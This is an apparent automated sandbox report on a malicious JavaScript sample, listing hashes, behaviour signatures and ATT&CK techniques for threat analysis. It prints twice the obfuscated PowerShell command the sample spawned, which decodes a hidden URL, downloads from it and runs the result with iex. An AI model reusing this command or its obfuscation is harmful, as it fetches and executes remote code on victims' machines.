e2dcb55f6bc339674b8e046e3f72a686a51c8973ae022b31a2dc3f8ebffd86b5

Analysis

max time kernel
92s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
02-10-2024 01:40

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General

Target

e2dcb55f6bc339674b8e046e3f72a686a51c8973ae022b31a2dc3f8ebffd86b5.js
Size

160KB
MD5

0d68d14f20f06208478b8cbbea1830b9
SHA1

47edec4639ecdb5ac0277749577b89f9ac2873d4
SHA256

e2dcb55f6bc339674b8e046e3f72a686a51c8973ae022b31a2dc3f8ebffd86b5
SHA512

936582a9e56d92bdbc49e46c4a0eb32344dcf0ee3b64f54cc2e97eb5bd0f5cad6d1e34a4bda6493c9cc64f196445b4ba34ac41f00c65447ddebc1fd29472bf32
SSDEEP

3072:wgeWyqg5puqGpZw70BpuXruxZwoT0t17soR66I3F5kfa:o9PGUwpuXCjwoYtGr6Iky

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4072	464	conhost.exe	82

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	3268	powershell.exe
16	3268	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3268	powershell.exe
3268	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3268	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4072 wrote to memory of 3268	4072	conhost.exe	84
PID 4072 wrote to memory of 3268	4072	conhost.exe	84

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\e2dcb55f6bc339674b8e046e3f72a686a51c8973ae022b31a2dc3f8ebffd86b5.js
1⤵
PID:4820

C:\Windows\system32\conhost.exe
conhost --headless powershell $rjgvrbckcfj='ur';new-alias press c$($rjgvrbckcfj)l;$gxbkmg=(7395,7397,7414,7404,7410,7403,7410,7409,7406,7338,7408,7403,7404,7339,7341,7338,7404,7396,7404,7355,7407,7353,7401,7397,7402,7408,7407,7341,7343);$qyixkcnippw=('bronx','get-cmdlet');$akgopelbddwe=$gxbkmg;foreach($yaafmzhtz in $akgopelbddwe){$kdsrwkwo=$yaafmzhtz;$sftrmqllmjj=$sftrmqllmjj+[char]($kdsrwkwo-7292);$lshvymrngtqyx=$sftrmqllmjj;$jwayrhc=$lshvymrngtqyx};$zzdctwourznd[2]=$jwayrhc;$dkjrlzanuuyd='rl';$mojxhpwv=1;.$([char](9992-9887)+'e'+'x')(press -useb $jwayrhc)
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4072
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $rjgvrbckcfj='ur';new-alias press c$($rjgvrbckcfj)l;$gxbkmg=(7395,7397,7414,7404,7410,7403,7410,7409,7406,7338,7408,7403,7404,7339,7341,7338,7404,7396,7404,7355,7407,7353,7401,7397,7402,7408,7407,7341,7343);$qyixkcnippw=('bronx','get-cmdlet');$akgopelbddwe=$gxbkmg;foreach($yaafmzhtz in $akgopelbddwe){$kdsrwkwo=$yaafmzhtz;$sftrmqllmjj=$sftrmqllmjj+[char]($kdsrwkwo-7292);$lshvymrngtqyx=$sftrmqllmjj;$jwayrhc=$lshvymrngtqyx};$zzdctwourznd[2]=$jwayrhc;$dkjrlzanuuyd='rl';$mojxhpwv=1;.$([char](9992-9887)+'e'+'x')(press -useb $jwayrhc)
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3268

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w4sldw35.o5u.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3268-0-0x00007FFE9E373000-0x00007FFE9E375000-memory.dmp

Filesize
8KB

Download
memory/3268-1-0x000001FC528A0000-0x000001FC528C2000-memory.dmp

Filesize
136KB

Download
memory/3268-11-0x00007FFE9E370000-0x00007FFE9EE31000-memory.dmp

Filesize
10.8MB

Download
memory/3268-12-0x00007FFE9E370000-0x00007FFE9EE31000-memory.dmp

Filesize
10.8MB

Download
memory/3268-13-0x00007FFE9E370000-0x00007FFE9EE31000-memory.dmp

Filesize
10.8MB

Download
memory/3268-14-0x00007FFE9E370000-0x00007FFE9EE31000-memory.dmp

Filesize
10.8MB

Download
memory/3268-17-0x00007FFE9E370000-0x00007FFE9EE31000-memory.dmp

Filesize
10.8MB

Download